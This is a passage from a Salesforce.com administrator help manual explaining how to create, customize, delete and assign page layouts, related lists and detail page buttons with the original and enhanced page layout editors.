As to create a copy of the layout.
• In the original page layout editor, select an existing page layout from the list of page layouts, then click the
Clone button.

3. Enter a Page Layout Name for the new layout.


4. Click Save.

619
Customize Customizing Page Layouts

See Customizing Page Layouts on page 620 for instructions on modifying the page layout. For information on defining mini
page layouts for the console, see Setting Up the Console on page 1367.

See Also:
Managing Page Layouts
Customizing Related Lists
Overview of Page Layouts and Field-Level Security

Customizing Page Layouts


Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts (enhanced page layout editor only): “View Setup”

Salesforce.com has two drag-and-drop tools for editing page layouts: the original page layout editor and a new enhanced page
layout editor. The enhanced page layout editor is enabled by default, and provides all of the functionality of the original editor,
as well as additional functionality and an easier-to-use WYSIWYG interface.
If you want to use the original page layout editor, you can enable it for your organization in the User Interface settings. Your
organization can only use one of the page layout editors at a time.

Accessing the Enhanced Page Layout Editor


To access page layouts for standard objects:
1. Select Setup ➤ Customize.
2. Choose the object.
3. Do one of the following:
• In Enterprise, Unlimited, and Developer Edition organizations, choose the Page Layouts link and click Edit next to
the page layout you want to customize.
Note: If you only have the “View Setup” permission, the Edit button is not available. Click the name of the
page layout to view it instead.

• In all other editions, choose the Page Layout link.

To access page layouts for custom objects:


1. Select Setup ➤ Create ➤ Objects.
2. Choose the object.
3. Scroll to the Page Layouts section.
4. Click Edit next to the page layout you want to customize.

620
Customize Customizing Page Layouts

Note: If you only have the “View Setup” permission, the Edit button is not available. Click the name of the page
layout to view it instead.

Alternatively, when you are on a detail page, click the Edit Layout link in the upper right corner to quickly customize the
page layout. Salesforce.com displays the Edit Layout link only to users with the “Customize Application” permission.
For more information on the enhanced page layout editor, see Customizing Page Layouts with the Enhanced Page Layout
Editor on page 622.

Accessing the Original Page Layout Editor


To access page layouts for standard objects:
1. Select Setup ➤ Customize.
2. Choose the object.
3. Do one of the following:
• In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
• In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

To access page layouts for custom objects:


1. Select Setup ➤ Create ➤ Objects.
2. Choose the object.
3. Scroll to the Page Layouts section.
4. Do one of the following:
• In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
• In all other editions, choose the Page Layout link, then click Edit at the top of the page layout.

For more information on the original page layout editor, see Customizing Page Layouts with the Original Page Layout Editor
on page 630.

See Also:
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

621
Customize Customizing Page Layouts

Customizing Page Layouts with the Enhanced Page Layout Editor


Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

The enhanced page layout editor is a feature-rich WYSIWYG tool that allows you to customize your organization’s page
layouts for detail and edit pages in Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal. The
enhanced page layout editor is enabled by default and provides all of the functionality of the original page layout editor, as
well as additional functionality and an easier-to-use interface. To access the page layout editor, see Customizing Page Layouts
on page 620.
Note: To access the enhanced page layout editor, see Customizing Page Layouts on page 620.

The enhanced page layout editor consists of two parts: a palette on the upper portion of the screen and the page layout on the
lower portion of the screen. The palette contains the user interface elements, such as fields, buttons, links, related lists, and
any additional elements that are available for you to add to the page layout.
When working with enhanced page layout editor:

• To add a user interface element to the page layout, select the category to which the element belongs on the left column of
the palette, and drag the element from the palette to the page layout.
• To remove a user interface element from the page layout, drag the element from the page layout to the right side of the
palette, or click the x icon ( ) next to the element.
• Use the undo and redo buttons to step backwards and forwards, respectively.
• Use the following keyboard shortcuts:
- Undo = CTRL+Z
- Redo = CTRL+Y
- Quick Save = CTRL+S

• To select multiple elements individually, use CTRL+click. To select multiple elements as a group, use SHIFT+click .
• To change the properties of any element on the page layout, double-click the element or click the wrench icon ( ) next
to it. You cannot change the properties of elements in the palette.
• To make a field read-only or required, double-click the field in the page layout and select the Read-Only or Required
checkboxes.
• To gain vertical space when working on moving items around within the page layout, click the arrow beneath the palette
to collapse it.
• To access the other layouts for an object when viewing or customizing an object with multiple page layouts, click the page
layout name at the top of the page and select another layout to view.
• To change the name of the page layout, add personal and public tags if available, and display standard object checkboxes
on the page layout, click Layout Properties.

622
Customize Customizing Page Layouts

• To review the page layout, click Preview As. From the preview in Enterprise, Unlimited, and Developer Editions, select
a profile to see how the pages will look for users with different profiles. Note that most related lists’ columns preview
without data.
• To quickly locate any item in the palette, use the Quick Find box. The Quick Find box is especially useful for page layouts
that have large numbers of items available in the palette.
• To save your changes and continue editing the page layout, click Quick Save.
• To save your changes when you are done customizing the page layout, click Save. If you navigate away from your page
layout before clicking save, your changes will be lost.
• To create a copy of your page layout, click Save and select Save As.
• To choose which related records display in the console's mini view, click Mini Console View. (Available in Professional,
Enterprise, Unlimited, and Developer Edition organizations only.)
Note: You cannot choose Mini Console View for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.

• To define the mini page layouts of the records that appear in the mini view of the console, click Mini Page Layout. The
mini page layout also defines the layout of the hover details and event overlays. (Available in Professional, Enterprise,
Unlimited, and Developer Edition organizations only.)
Note: You cannot define mini page layouts for the Close Case Layout or the Log a Case Page and View Cases
Page layouts on the Self-Service Portal.

See Also:
Customizing Page Layouts
Notes on Using the Enhanced Page Layout Editor
Enhanced Page Layout Editor User Interface Elements
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

623
Customize Customizing Page Layouts

Enhanced Page Layout Editor User Interface Elements


Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

The following list describes the enhanced page layout editor user interface elements and how you can use them in your page
layout.
Tip: Create the appropriate buttons, custom links, fields, custom s-controls, and Visualforce pages before editing
your page layout.

Blank Spaces
You can add and move blank spaces to any section on the page layout. Use blank spaces to visually align and distinguish
elements on the page.
To add a blank space, drag the Blank Space user interface element from the palette to the desired location on the page
layout. The Blank Space user interface element is the first option in the palette when you select the Fields, Custom
Links, Custom S-Controls, or Visualforce Pages category on the palette.
Note: If you use the original page layout editor to view a page layout that was created in the enhanced page
layout editor, the original page layout editor will show any blank spaces you added. You cannot move or add
blank spaces in the original page layout editor, but you can remove them by dragging them to the box on the
right.

Buttons
The top of the page layout has a place for standard buttons and another for custom buttons. You can control which
standard and custom buttons are displayed and the order in which the custom buttons appear; however, you cannot
rearrange the order in which the standard buttons appear.
To add a custom or standard button to the page layout, select the Buttons category on the palette and drag one or more
buttons from the palette to the buttons section on the page layout. Standard buttons must go in the standard buttons
area, and custom buttons must go in the custom buttons area.
To remove a standard or custom button from the page layout, drag the button to the palette.
For information on buttons in related lists, see Related Lists.

Custom Links
To add custom links to the page layout, select the Custom Links category on the palette and drag one or more custom
links from the palette to the Custom Links section on the page layout.
To remove a custom link from the page layout, drag the custom link to the palette.

624
Customize Customizing Page Layouts

Fields
To add fields to the page layout, select the Fields category on the palette and drag one or more fields from the palette
to any section on the page layout, except for sections reserved for custom buttons or links and related lists.
A field might display one or more of the following icons:

•  The field must have a value to save the record but is not required on the page layout itself.
•  The field must be included on the page layout because either an administrator configured the field as universally
required or Salesforce.com automatically requires the field. Although you cannot remove such fields, you can move
them to different locations.
•  The field is a controlling field.
•  The field is a dependent field.
•  The field is read only.

To set which fields are required and read only, select one or more fields and click the wrench icon ( ) on any of the
selected fields.

• The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
• Fields marked as read only are always editable by administrators and users with the “Edit Read Only Fields” permission.
• If you make a picklist field read only, all new records will contain the default value for that picklist.
• Auto-number fields are always read only.
• If you mark the opportunity Probability field as read only, the Probability value will still be updated
automatically when a user changes the Stage value of an opportunity.

When working with fields, note the following:

• In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access
in related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when
synchronizing data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
Field-level security settings override any field properties you set on the page layout if the field-level security is more
restrictive than the page layout setting. See Setting Field-Level Security on page 217.
• In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into
any field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can
import only into the fields that are accessible to them via their page layout or field-level security settings.
• For information on setting which fields display for users in search results, see Customizing Search Layouts on page
645.

Related Lists
To add related lists to the page layout, select the Related Lists category on the palette and drag one or more related lists
from the palette to the desired location on the page layout. A page layout can have up to 100 related lists.
You can place related lists at the bottom of the page layout. To move a related list on the page layout, drag the handle
located above the related list.

To customize a related list, double-click the related list handle or click the wrench icon ( ) inside the handle. Use the
related list properties to:

• Specify which fields display as columns on the related list, the order in which they appear, and the sort order of the
records in the related list. In Professional, Enterprise, and Unlimited Editions, you can also opt to apply the column
information to other page layouts for the same type of object.

625
Customize Customizing Page Layouts

• Specify which standard and custom buttons appear on the related list.

When working with related lists on page layouts, note the following:

• Some related lists are not customizable because they link to data rather than store it. Salesforce.com denotes related
lists that are not customizable on the page layout.
• You cannot add related lists to the page layouts for the User object.
• You can also enable related list hover links for your organization so that record detail pages include links for each
related list at the top of the page. Users can hover the mouse over a related list hover link to display the corresponding
related list in an interactive overlay that allows users to quickly view and manage the related list items. Users can also
click a related list hover link to jump down to the content of the related list without having to scroll down the page.
To enable related list hover links, see Customizing User Interface Settings on page 411.
• In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which related lists
display for their personal use. Administrators can overwrite these user customizations and apply the related list
configuration in the page layout to all users, even if they already customized their display. To overwrite users' related
list customizations, click Yes on the Overwrite Users' Personal Related List Customizations popup window, which
appears when saving a page layout if you moved or added a related list.

Custom S-Controls

To add s-controls to the page layout, select the Custom S-Controls category on the palette and drag one or more
s-controls from the palette to any section on the page layout, except for sections reserved for custom buttons or links
and related lists. A page layout can have up to 20 s-controls.

To change the properties of an s-control, double-click the s-control or click its wrench icon ( ) and set the following
attributes:

• Width sets the horizontal size in pixels or a percent.


• Height sets the vertical size in pixels.
• Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
• Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to
display the s-control in a wider area.

Sections
You can add and move sections anywhere above the related lists on the page layout. The sections you add can contain
fields, s-controls, and blank spaces. In addition, each page layout has a default section that can only contain custom links
and blank spaces. You can change the location of the custom link section, but you cannot remove it from the page.
To add a section, drag the Section user interface element from the palette to the desired location on the page layout.
The Section user interface element is the second option in the palette when you select the Fields or Custom S-Controls
category on the palette.

To change the attributes of a section, double-click the section or select its associated wrench icon ( ). You can:

• Enter a name for the section. Note that names of some standard page sections cannot be changed.
• Specify whether the section should have one or two columns.
• Specify the order in which users will be able to tab through the items in that section.
• Specify whether the section heading should be shown on the detail and edit pages.

626
Customize Customizing Page Layouts

Tags
If tags are enabled in your organization, click Layout Properties and use the checkboxes to indicate whether personal
and public tags should be included in the header section of the page layout. Users cannot tag a record if neither personal
nor public tags are included in the header section. Also, the positioning of personal and public tags in the header cannot
be modified.

Visualforce Pages
To add Visualforce pages to the page layout, select the Visualforce Pages category on the palette and drag one or more
Visualforce pages from the palette to any section on the page layout, except for sections reserved for custom links and
related lists. A page layout can have up to 20 Visualforce pages.
You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set to the object
for which you are creating the page layout. If you do not have any Visualforce pages with a standard controller set to
that object, the Visualforce Pages category does not appear in the palette.

See Also:
Notes on Using the Enhanced Page Layout Editor
Customizing Page Layouts with the Enhanced Page Layout Editor

Notes on Using the Enhanced Page Layout Editor


Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”
To view page layouts: “View Setup”

When using the enhanced page layout editor, note the following:

• Some elements can only be moved to certain locations on the page layout.
• Elements that are already on the page layout still appear on the palette but are inactive. When you click an inactive element
on the palette, Salesforce.com highlights the element on the page layout.
• When you select a category of elements on the palette, such as Related Lists or Custom Links, Salesforce.com jumps to
the part of the page layout where you can add those elements.
• The following table describes which browsers support the enhanced page layout editor:

Browser Notes
Mozilla Firefox version 3.0 Firefox users with the “Customize Application” permission
must have version 3.0.x to view and edit page layouts.
Note: Users with the “View Setup and
Configuration” permission can view but not edit
page layouts using Firefox version 2.

627
Customize Customizing Page Layouts

Microsoft® Internet Explorer versions 6.0, 7.0, and 8.0 Internet Explorer 6 does not perform well with advanced
Web interfaces such as the enhanced page layout editor.
Salesforce.com strongly recommends upgrading to Mozilla
Firefox version 3.0, Apple® Safari version 3.2, or Internet
Explorer 8.0.
Important: Using Internet Explorer with the
Internet Explorer Developer Toolbar impacts the
performance of the enhanced page layout editor.
Disable the toolbar before using the enhanced page
layout editor as follows:

1. In Internet Explorer, navigate to Tools ➤


Internet Options... ➤ Programs.
2. Click Manage Add-ons....
3. Select IE Developer Toolbar and IE
Developer Toolbar BHO, and choose the
Disable option.
4. Close all Internet Explorer windows and restart
the browser.

Apple® Safari version 3.2

• If the original page layout editor is enabled, users can click on the page layout name to access the detail page of the page
layout. The enhanced page layout editor does not have detail pages, as all the detail page functionality is always available
on the enhanced editor. Salesforce.com displays a read-only version of the enhanced page layout editor to users with the
“View Setup” permission.
Note: The read-only view of the page layout does not display field types and lengths in hover details.

• Some standard objects have checkboxes that are specific to page layouts for that object. The following table lists those
standard object checkboxes. To configure how Salesforce.com displays the checkboxes, click Layout Properties when
customizing the page layout. Use the Select by default checkbox associated with a checkbox if you want Salesforce.com
to automatically select the option when a user accesses the edit page.

Object Checkboxes
Case - Case assignment checkbox — Displays the
Assign using active assignment rules
checkbox on case edit pages.
- Email notification checkbox — Displays the
Send notification email to contact checkbox
on case edit pages.

Case Close - Solution information section — Displays the


solution information section on the case close edit pages.

628
Customize Customizing Page Layouts

- Notify Contact — Displays the Notify Contact


checkbox on case close edit pages.

Lead Lead assignment checkbox — Displays the Assign


using active assignment rule checkbox appears on
the lead edit page.
Person Account "Run territory assignment rules on save"
checkbox — Displays the Run territory assignment
rules on save checkbox appears on the person account
edit page.
Task Email notification checkbox — Displays the Send
Notification Email checkbox appears on the task edit
page.
Note: A user's personal preference for defaulting
the state of the checkbox takes precedence over the
organization-wide setting. For more information,
see Creating Tasks on page 1211.

• The Custom Links, Custom S-Controls, and Visualforce Pages categories only appear in the palette if you have defined
those types of elements for the object for which you are defining a page layout.
• Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
• You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console. For more information, see Defining Mini Page Layouts on
page 1370,
• When editing a person account page layout:

- If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
- Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.

• Salesforce.com recommends creating no more than 200 page layouts. While there is no limit, organizations may have
difficulty managing their page layouts if they exceed 200.
• Salesforce.com gives administrators the option to view a short video tutorial the first time they access the enhanced page
layout editor. This video is also available from the Video Tutorial link next to the Help for this Page link in the editor.

See Also:
Enhanced Page Layout Editor User Interface Elements
Customizing Page Layouts with the Enhanced Page Layout Editor

629
Customize Customizing Page Layouts

Customizing Page Layouts with the Original Page Layout Editor


Available in: All Editions

User Permissions Needed


To customize page layouts: “Customize Application”

The original page layout editor allows you to customize your organization’s page layouts for detail and edit pages in
Salesforce.com, the Self-Service Portal, and the Salesforce.com Customer Portal.
Note: Salesforce.com recommends using the enhanced page layout editor instead of the original page layout editor.
For more information, see Customizing Page Layouts with the Enhanced Page Layout Editor on page 622.

To customize page layouts using the original page layout editor:

1. For standard object page layouts, select Setup ➤ Customize, select the object, and choose Page Layouts. For custom
object page layouts, select Setup ➤ Create, select the object, and scroll to the Page Layouts section.
2. In Enterprise, Unlimited, and Developer Edition organizations, click Edit next to the page layout you want to customize.
In all other editions, click Edit at the top of the page.
3. If tags are enabled in your organization, specify whether personal and public tags should be included in the header section
of the page layout. Users cannot tag a record if neither personal nor public tags are included in the header section:

• To add personal or public tags to the page layout, select Header Items from the View drop-down list, and then drag
the Personal Tags or Public Tags items to the Header Section of the layout. Note that you cannot change the order in
which personal and public tags appear when both are in the Header Section at the same time.
• To remove tags from the page layout, drag the Personal Tags and Public Tags items from the Header Section of the
page layout to the area under the View drop-down list.

For more information, see About Tagging on page 2097.


4. To customize buttons, double-click the Detail Page Buttons item in the Button Section.

• To hide any standard button, deselect the checkbox next to the button name.
• To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
• Sort custom buttons by selecting them and clicking Up or Down.
• To undo your customizations and restore default settings, click Revert to Defaults.
• Click OK to close the popup when you are done.

5. To arrange fields, custom s-controls, Visualforce pages, custom links, and related lists on the layout, select one or more
items from the box on the right and drag them to the desired location. You can add up to 20 s-controls, 20 Visualforce
pages, and 100 related lists on a page layout. There are no limits on fields and custom links.

• Use CTRL+click to select multiple items individually.


• Use SHIFT+click to select multiple items as a group.

630
Customize Customizing Page Layouts

Note:

• You can add a Visualforce page to a page layout only if the standard controller on the Visualforce page is set
to the object for which you are creating the page layout. If you do not have any Visualforce pages with a standard
controller set to that object, the Visualforce Pages category does not appear in the palette.
• Items that are not in the page layout are displayed in the scrolling box on the right-hand side.
• Use the legend to determine what fields are required, dependent, controlling, or have other attributes that may
affect your page layout decisions.

6. To set which fields are required and read only, select one or more fields and click Edit Properties.

• The field properties of some standard fields cannot be changed. Custom fields can only be changed if they are not
universally required fields.
• Fields marked as read only are always editable by administrators and users with the “Edit Read Only Fields” permission.
• If you make a picklist field read only, all new records will contain the default value for that picklist.
• Auto-number fields are always read only.
• If you mark the opportunity Probability field as read only, the Probability value will still be updated automatically
when a user changes the Stage value of an opportunity.
• In Enterprise, Unlimited, and Developer Editions, field-level security settings override any field properties you set here
if the field-level security is more restrictive than the page layout setting. See Setting Field-Level Security on page 217.

7. To change the properties of an s-control or Visualforce page, double click it and set the following attributes:

• Width sets the horizontal size in pixels or a percent.


• Height sets the vertical size in pixels.
• Show scrollbars determines whether the iFrame in which the s-control displays contains scrollbars when necessary.
• Show label determines whether the page layout includes the Label of the custom s-control. Remove the label to
display the custom s-control in a wider area.

8. To organize the page using sections, click Edit next to an existing page section, or click Create New Section to create a
new page section.

• Enter a name for the section. Note that names of some standard page sections cannot be changed.
• Set whether the section should have one or two columns.
• Set the order in which users will be able to tab through the items in that section.
• Set whether the section name should be shown on the detail and edit pages.

9. To customize the related lists on the page layout, double-click the related list in the Related List Section.

• Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.
• Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
• If necessary, select additional page layouts to apply your related list customizations to.
• Select or deselect the checkbox next to any standard button name to customize which standard buttons display in the
related list.

631
Customize Customizing Page Layouts

• To customize which custom buttons display in the related list, select the button and click Add or Remove. Sort custom
buttons by selecting them and clicking Up or Down.
Note: To create a custom button for the related list, see Defining Custom Buttons and Links on page 653. The
custom button must be defined for the object contained in the related list, instead of the parent object, and the
button Type must be List Button. For example, to display a custom button on the Contacts related list of an
account, define the custom button for contacts, not accounts.

Some related lists are not customizable because they link to data rather than store it. You can move your cursor over any
related list section to see if it is customizable. Also, lookup fields are not available for display on their corresponding lookup
related list. For example, the case lookup field on an account page layout is not available when editing the cases related
list.
Note: You can also enable related list hover links for your organization so that record detail pages include links
for each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list
items. Users can also click a related list hover link to jump down to the content of the related list without having
to scroll down the page. To enable related list hover links, see Customizing User Interface Settings on page 411.

10. Select the Overwrite users’ personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
11. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles. Note that most related lists’ columns preview without
data.
12. Click Save to finish. Alternatively, click Quick Save to save and continue editing the page layout.

Professional, Enterprise, Unlimited, and Developer Edition organizations can also click:

• Mini Console View to choose which related records display in the console's mini view.
• Mini Page Layout to define the mini page layouts of the records that appear in the mini view of the console.

Note: You cannot define mini console views or mini page layouts for the Close Case Layout or the Log a Case Page
and View Cases Page layouts on the Self-Service Portal.

In Enterprise, Unlimited, and Developer Editions, you can now assign which page layouts to display for different profile and
record type combinations (see Assigning Page Layouts on page 637). You can also set field-level security to restrict field access
further (see Setting Field-Level Security on page 217).

Notes on Page Layouts


• When customizing page layouts for tasks, you can select the following checkboxes:
- Show Task Email Notification checkbox controls whether the Send Notification Email checkbox
displays when users create or edit a task.
- Select Task Email Notification checkbox by default controls whether the Send Notification
Email checkbox is selected by default when users create or edit a task. Note that a user's personal preference for
defaulting the state of the checkbox takes precedence over the organization-wide setting. For more information, see
Creating Tasks on page 1211.

• When customizing page layouts for cases, you can select the following checkboxes:

632
Customize Customizing Page Layouts

- Case assignment checkbox to display the Assign using active assignment rules checkbox on case
edit pages.
- Email notification checkbox to display the Send notification email to contact checkbox on case
edit pages.

• Page layouts for the user object only include custom fields, custom links, s-controls, and Visualforce pages. Tagging, related
lists, custom buttons, and standard field customizations are not included on page layouts for the user object. Also, field-level
security is only available for custom fields on the user object.
• You can define mini page layouts for the user object; however, you cannot add standard fields or related lists. Also, a
customized mini page layout will not display in the console. For more information, see Defining Mini Page Layouts on
page 1370
• In the organization-wide import wizards for accounts, contacts, and leads, administrators have access to import into any
field, even if a field is hidden or read only in their page layout or field-level security settings. Individual users can import
only into the fields that are accessible to them via their page layout or field-level security settings.
• In Personal, Contact Manager, Group, and Professional Editions, page layouts control which fields users can access in
related lists, list views, reports, Connect Offline, email and mail merge templates, custom links, and when synchronizing
data. In Enterprise, Unlimited, and Developer Editions, this access is controlled by field-level security.
• For information on setting which fields display for users in search results, see Customizing Search Layouts on page 645.
• In Professional, Enterprise, Unlimited, and Developer Edition, individual users can customize which tabs and related lists
display for their personal use. See Customizing Your Display on page 59.
• When editing a person account page layout:
- If you add Shipping Address next to Billing Address in the Address Information section, a link will display
on the person account edit page that allows you to copy the billing address to the shipping address. Also, an equivalent
link appears if you add Other Address to the Address Information section.
- Contact fields and related lists are available on person account page layouts. However, contact custom links and custom
buttons are not available.

• Some items can only be moved to certain sections on the page layout. For example, you can drag a custom s-control to any
field section on the page layout but not a Related List Section or Button Section.
• Create the appropriate buttons before editing your page layout. For example, create an account custom button for the detail
page and a contact custom list button before putting them both on an account page layout. For implementation tips and
best practices on custom buttons, see Custom Button Considerations.
• If you use the original page layout editor to view a page layout that was created in the new page layout editor, the original
page layout editor will show any blank spaces you added. You cannot move or add blank spaces in the original page layout
editor, but you can remove them by dragging them to the box on the right.

See Also:
Customizing Page Layouts with the Enhanced Page Layout Editor
Customizing Related Lists
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Restricting Price and Quantity Editing on Opportunity Products
Editing Multi-Line Layouts for Opportunity Products
Setting Up Your Customer Portal

633
Customize Customizing Page Layouts

Customizing Detail Page Buttons


Available in: All Editions

User Permissions Needed


To customize detail page buttons: “Customize Application”

When customizing page layouts, you can control which standard and custom buttons are displayed and the order in which
the custom buttons are shown. To customize the buttons on record detail pages:

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
For custom objects, click Setup ➤ Create ➤ Objects, and select the desired custom object.
2. Click Edit next to the page layout you want to customize.
3. Do one of the following:

• In the original page layout editor, double-click the Detail Page Buttons item in the Button Section.

- To hide any standard button, deselect the checkbox next to the button name.
- To add or remove a custom button, select the button in the Available Buttons list, and click Add or Remove.
- Sort custom buttons by selecting them and clicking Up or Down.
- To undo your customizations and restore default settings, click Revert to Defaults.
- Click OK to close the popup when you are done.

• In the enhanced page layout editor, select the Buttons category on the palette and drag one or more buttons from the
palette to the buttons section on the page layout. Standard buttons must go in the standard buttons area, and custom
buttons must go in the custom buttons area. To remove a standard or custom button from the page layout, drag the
button to the palette.

4. Click Save on the page layout.


5. Click Save.

See Also:
Customizing Page Layouts
Overriding Standard Buttons and Tab Home Pages
Defining Custom Buttons and Links

634
Customize Customizing Page Layouts

Customizing Related Lists


Available in: All Editions

User Permissions Needed


To customize related lists: “Customize Application”

To customize the buttons, columns displayed, column order, and record sort order of related lists on record detail pages in
Salesforce.com and the Salesforce.com Customer Portal:

1. Access the page layout editor.


2. Double-click a related list on the layout to edit it. If you are using the enhanced page layout editor, you can also click the
wrench icon ( ).
3. To customize the fields that display in the related list:

• Select one or more fields and use the arrows to add or remove the fields to the related list columns on the page layout,
and to define the order in which the related list columns display. You can include up to 10 fields per related list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.
• Select a field from the Sort By drop-down list to sort the items in the related list, which will be displayed in ascending
order unless you select Descending. The default sort order varies per record. The Sort By drop-down is not available
for activities and opportunity products.
• If necessary, select additional page layouts to apply your related list customizations to. Only layouts that include this
related list appear in the list. Layouts that include related lists with the same customizations as the current layout had
when you opened are selected by default.

Lookup fields are not available for display on their corresponding lookup related list. For example, the case lookup field
on an account page layout is not available when editing the cases related list.
4. To customize which standard buttons display in the related list, select or deselect the checkbox next to any standard button
name.
Note: To view the buttons in the enhanced page layout editor, click the plus sign in the Buttons section.

5. To customize which custom buttons display in the related list:

• To add or remove a custom button, select the button and click Add or Remove.
• Sort custom buttons by selecting them and clicking Up or Down.

To create a custom button for the related list, see Defining Custom Buttons and Links on page 653. The custom button
must be defined for the object contained in the related list, instead of the parent object, and the button Type must be List
Button. For example, to display a custom button on the Contacts related list of an account, define the custom button for
contacts, not accounts.
6. If necessary, click Revert to Defaults to undo any customizations and use the default Salesforce.com settings in the related
list.

635
Customize Customizing Page Layouts

7. Click OK to store your customizations. Changes are not saved until you click Save on the page layout.
8. Select the Overwrite users’ personal related list customization to apply the related lists in the page
layout to all users, even if they have already customized their display.
9. Click Preview to review the page layout. From the preview in Enterprise, Unlimited, and Developer Editions, select a
profile to see how the pages will look for users with different profiles.
10. Click Save.

Note: You can also enable related list hover links for your organization so that record detail pages include links for
each related list at the top of the page. Users can hover the mouse over a related list hover link to display the
corresponding related list in an interactive overlay that allows users to quickly view and manage the related list items.
Users can also click a related list hover link to jump down to the content of the related list without having to scroll
down the page. To enable related list hover links, see Customizing User Interface Settings on page 411.

See Also:
Overview of Page Layouts and Field-Level Security
Creating a Many-to-Many Relationship

Editing Multi-Line Layouts for Opportunity Products


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To edit multi-line layouts for opportunity products: “Customize Application”

You can customize the columns that display when you click Edit All in the Products related list of an opportunity detail page.

1. Click Setup ➤ Customize ➤ Opportunities ➤ Opportunity Products ➤ Page Layouts.


2. Click the name of an opportunity product page layout.
3. Click Edit Multi-Line Layout.
4. As necessary, move fields from the Available Fields list to the Selected Fields list:

• Select one or more fields and use the Add and Remove arrows to move them between the lists. Also, click the Up and
Down arrows to change the order of the Selected Fields list.
• Use CTRL+click to select multiple fields individually.
• Use SHIFT+click to select multiple fields as a group.

5. Click Save to apply your changes.

636
Customize Deleting Page Layouts

Deleting Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete page layouts: “Customize Application”

To delete a page layout:

1. Select Setup ➤ Customize, select the appropriate activity or tab link, and choose the Page Layouts link.
2. Click Del next to the page layout name.
When a page layout is deleted, its mini page layout is also deleted.
3. Choose another page layout to replace the deleted layout for any profile and record type combinations. Users with those
profiles and record types will see the new page layout.
4. Click Replace.

See Also:
Managing Page Layouts
Overview of Page Layouts and Field-Level Security
Setting Up the Console

Assigning Page Layouts


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To assign page layouts: “Manage Users”

After defining page layouts, assign which page layouts users see. A user’s profile determines which page layout he or she sees.
In addition, if your organization is using record types for a particular tab, the combination of the user’s profile and the record
type determine which page layout is displayed.
To assign page layouts:

1. Click Setup ➤ Customize, select the appropriate activity or tab link, and choose Page Layouts or Record Types.
Alternatively, select Setup ➤ Manage Users ➤ Profiles, and select a profile name.
2. From the page layout or record type list page, click Page Layout Assignment. From the profile, click View Assignment
next to any tab name in the Page Layouts section.
3. Click Edit Assignment.

637
Customize Checking Field Accessibility

4. Use the table to specify the page layout for each profile. The table displays the page layout assignments for each profile. If
your organization uses record types, a matrix displays a page layout selector for each profile and record type.
When selecting page layout assignments:

• Click a cell, column, or row heading to select all the table cells in that column or row.
• Press SHIFT+click to select multiple adjacent table cells, columns, or rows.
• Press CTRL+click to select multiple nonadjacent table cells, columns, or rows.
• Click any cell and drag to select a range of cells.
• Click Next or Prev to view another set of record types.

Tip: Selected page layout assignments are highlighted. Page layout assignments you change are italicized until
you save your changes.

5. If necessary select another page layout to assign from the Page Layout To Use drop-down list and repeat the previous
step for the new page layout.
6. Click Save.

To verify that users have the correct access to fields based on the page layout and field-level security, you can check the field
accessibility grid; see Checking Field Accessibility on page 638.

See Also:
Managing Page Layouts
Managing Profiles
Managing Record Types
Overview of Page Layouts and Field-Level Security

Checking Field Accessibility


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view field accessibility: “View Setup and Configuration”
To change field accessibility: “Customize Application”
AND
“Manage Users”

Several factors help control whether users can view and edit specific fields in Salesforce.com.

• Page layouts—You can set whether fields are visible, required, editable, or read only.
• Field-level security—You can further restrict users’ access to fields by setting whether those fields are visible, editable, or
read only. These settings override any field properties set in the page layout if the field-level security setting is more
